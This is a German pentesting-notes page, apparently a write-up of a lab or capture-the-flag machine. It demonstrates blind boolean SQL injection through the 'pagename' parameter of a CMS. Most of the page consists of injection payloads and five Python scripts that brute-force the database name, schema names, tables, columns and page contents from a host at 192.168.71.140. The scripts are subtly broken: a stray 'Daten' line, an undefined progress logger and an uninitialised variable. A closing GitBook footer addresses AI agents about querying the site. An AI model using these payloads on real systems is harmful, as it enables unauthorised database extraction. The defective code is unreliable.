> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md).

# SQLi Pagename

## SQL-Injection:

**Erkennung einer SQL-Injection-Schwachstelle** Beim Hinzufügen eines Apostrophs im Feld "home" erscheint ein SQL-Fehler, was auf eine mögliche Verwundbarkeit gegenüber einem SQL-Injection-Angriff hinweist.

<figure><img src="/files/bb779b58a3ffeac1f20795ed2cbc148f569e8dd7" alt=""><figcaption></figcaption></figure>

**Ausnutzung der SQL-Injection-Schwachstelle** Durch Eingabe der SQL-Injection `/cms.php?pagename=home' or '1'='1`, kein Fehler erscheint, was die Schwachstelle bestätigt.

<figure><img src="/files/b8f89ea56f482df726c46eca1f415e720c511906" alt=""><figcaption></figcaption></figure>

**Extraktion des Datenbanknamens mit Substring** Nun verwenden wir mit diesem Einstiegspunkt den **substring** Parameter, um die Zeichen des Datenbanknamens zu ermitteln, indem wir Buchstaben eingeben, bis die Fehler verschwinden. Hier ist ein Beispiel für die ersten drei Zeichen:

* Erster Buchstabe: `/cms.php?pagename=home' or substring(database(),1,1)='a`
* Zweiter Buchstabe: `/cms.php?pagename=home' or substring(database(),2,1)='d`
* Dritter Buchstabe: `/cms.php?pagename=home' or substring(database(),3,1)='m` Zuerst kann ein Python-Skript den gesamten Prozess automatisieren, um **den Namen der Datenbank**.

<pre class="language-python"><code class="lang-python"><strong>#!/usr/bin/python3
</strong>from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

#Strg +c

signal.signal(signal.SIGINT, def_handler)

#Globale Variablen

characters = string.ascii_lowercase
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    ""
    p1 = log.progress("SQLI")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    Daten
    for position in range(1, 6 ):
        for character in characters:
            sqli_url = main_url + "home' or substring(database(),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute-Force-SQLI abgeschlossen")
    p2.success(data)
if __name__ == '__main__':
    sqli()
</code></pre>

<figure><img src="/files/74abaf1ec648eebf43c2604abda22c891916d8f8" alt=""><figcaption></figcaption></figure>

Dann kann ein Python-Skript den gesamten Prozess automatisieren, um **die Namen** aller Datenbanken zu ermitteln.

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    ""
    p1 = log.progress("SQLI")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    Daten
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute-Force-SQLI abgeschlossen")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/48f451ad0fa4702fe938afb23e2d7ee42ef93bb5" alt=""><figcaption></figcaption></figure>

Nun kann ein Python-Skript den gesamten Prozess automatisieren, um **die Namen der Tabellen zu ermitteln** der Datenbanken (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    ""
    p1 = log.progress("SQLI")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    Daten
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1)='%s" % (position, chara
cter)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute-Force-SQLI abgeschlossen")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/3fafc1cee3fa13cbaea142fd662ca74d2ae96646" alt=""><figcaption></figcaption></figure>

Nun kann ein Python-Skript den gesamten Prozess automatisieren, um **die Namen der Spalten zu ermitteln** der Datenbanken (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    ""
    p1 = log.progress("SQLI")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    Daten
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1
)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute-Force-SQLI abgeschlossen")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/250220fc99050da955509d1841fadaf053e96d92" alt=""><figcaption></figcaption></figure>

Nun kann ein Python-Skript den gesamten Prozess automatisieren, um **den Inhalt zu ermitteln** der Spalte pagename der Datenbank (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase + "$%-/_,;:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    ""
    p1 = log.progress("SQLI")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    Daten
    for position in range(1, 500):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute-Force-SQLI abgeschlossen")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/ccb2e67c1510b1e3c246a3bba28c504e3c24ad8e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
